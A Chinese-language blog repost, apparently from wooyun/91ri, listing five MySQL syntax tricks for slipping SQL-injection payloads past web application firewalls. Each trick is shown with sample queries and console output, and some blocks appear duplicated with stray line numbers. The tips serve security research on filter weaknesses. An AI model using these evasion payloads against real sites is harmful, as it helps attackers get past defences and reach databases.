WAF绕过的技巧
研究过国内外的waf。分享一些绝技。
一些大家都了解的技巧如:/*!*/,SELECT[0x09,0x0A-0x0D,0x20,0xA0]xx FROM 不再重新提及。
以下以Mysql为例讲述这些技巧:
tips1: 神奇的 (格式输出表的那个控制符)
绕过空格和一些正则匹配。
-> ;
+----------------------+
| `version`() |
+----------------------+
| 5.1.50-community-log |
+----------------------+
1 row in set (0.00 sec)
1
2
3
4
5
6
7
8
|
mysql> select`version`()
-> ;
+----------------------+
| `version`() |
+----------------------+
| 5.1.50-community-log |
+----------------------+
1 row in set (0.00 sec)
|
一个更好玩的技巧,这个
控制符可以当注释符使用(限定条件)。
+----+
| id |
+----+
| 1 |
+----+
1 row in set (0.00 sec)
1
2
3
4
5
6
7
|
mysql> select id from qs_admins where id=1;`dfff and comment it;
+----+
| id |
+----+
| 1 |
+----+
1 row in set (0.00 sec)
|
usage : where id =’0’`’xxxxcomment on.
tips2:神奇的- + .
(注意这里是 – + . 三个符号)
+----+
| id |
+----+
| 1 |
+----+
1 row in set (0.00 sec)
mysql> select+id-1+1.from qs_admins;
+----------+
| +id-1+1. |
+----------+
| 1 |
+----------+
1 row in set (0.00 sec)
mysql> select-id-1+3.from qs_admins;
+----------+
| -id-1+3. |
+----------+
| 1 |
+----------+
1 row in set (0.00 sec)
(有些人不是一直在说关键字怎么过?过滤一个from ... 就是这样连起来过)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
|
mysql> select id from qs_admins;
+----+
| id |
+----+
| 1 |
+----+
1 row in set (0.00 sec)
mysql> select+id-1+1.from qs_admins;
+----------+
| +id-1+1. |
+----------+
| 1 |
+----------+
1 row in set (0.00 sec)
mysql> select-id-1+3.from qs_admins;
+----------+
| -id-1+3. |
+----------+
| 1 |
+----------+
1 row in set (0.00 sec)
(有些人不是一直在说关键字怎么过?过滤一个from ... 就是这样连起来过)
|
tips3: @
+------|+
| @^1. |
+------|+
| NULL |
+------|+
这个是bypass 曾经dedeCMS filter .
1
2
3
4
5
6
7
8
|
mysql> select@^1.from qs_admins;
+------|+
| @^1. |
+------|+
| NULL |
+------|+
这个是bypass 曾经dedeCMS filter .
|
tips4:mysql function() as xxx 也可以不用as 和空格
+------|+
| test |
+------|+
| -1 |
+------|+
1 row in set (0.00 sec)
1
2
3
4
5
6
7
|
mysql> select-count(id)test from qs_admins;
+------|+
| test |
+------|+
| -1 |
+------|+
1 row in set (0.00 sec)
|
tips5:/*![>5000]*/ 新构造 版本号(这个可能有些过时了。)
+----+
| id |
+----+
| 1 |
+----+
1 row in set (0.00 sec)
1
2
3
4
5
6
7
|
mysql> /\*!40000select\*/ id from qs_admins;
+----+
| id |
+----+
| 1 |
+----+
1 row in set (0.00 sec)
|
91ri.org小编语:waf现在作为防御入侵者的一道门槛,正在被逐渐的加强。而对绕过这类防护措施的各种技巧的研究也有助于安全研究者进一步认识自身不足,继续奋斗!上述这些想法思维能力真心NB。
好东西更需要分享给大家。
相关文章推荐《利用MySQL隐形类型转换绕过WAF》《通过HTTP参数污染绕过WAF拦截》
link:http://drops.wooyun.org/tips/132 (对原文稍作改动)
原文地址:http://www.91ri.org/6372.html
最新文章
- 阿里云CentOS6上配置iptables
- JBOSS内存参数详解
- About-PHP-02
- java通过http调用服务
- iOS 重力感应 学习1 陀螺仪 水平仪 指南针
- 2015/11/06 社保查询系统持续 挂机ing
- 2016-2017 CT S03E02: Codeforces Trainings Season 3 Episode 2
- phpstudy最新版中php5.6版报错
- python学习:调用其他函数
- 多线程——工具类之Semaphore
- flume taidir to kafkasink
- Hot Chocolate 一个.net 平台的graphql 框架
- 计数排序与桶排序python实现
- Ubuntu 14.04 LTS 安装 NVIDIA 显卡驱动后的屏幕亮度调节问题
- Eclipse中快速打开文件所在的文件夹位置
- Django框架的使用教程--Cookie-Session[五]
- swift - 解析三方 - ObjectMapper
- mysql rand
- Java 支付宝支付,退款,单笔转账到支付宝账户(支付宝订单退款)
- ansible软件2
热门文章
- 基于Flot可放缩的折线图
- 【兄弟连】2016高洛峰新版PHP培训视频教程
- word2010 数学公式/联立方程/大括号内方程组如何左对齐?
- 分页-pagination
- [CareerCup] 2.3 Delete Node in a Linked List 删除链表的节点
- 错误C2665: “AfxMessageBox”: 2 个重载中没有一个可以转换所有参数类型
- 破解windows server 2008 的登录密码。有效的
- Android实现两个ScrollView互相联动,同步滚动的效果
- 微信支付PHP SDK —— 公众号支付代码详解
- Linux 下SVN服务器搭建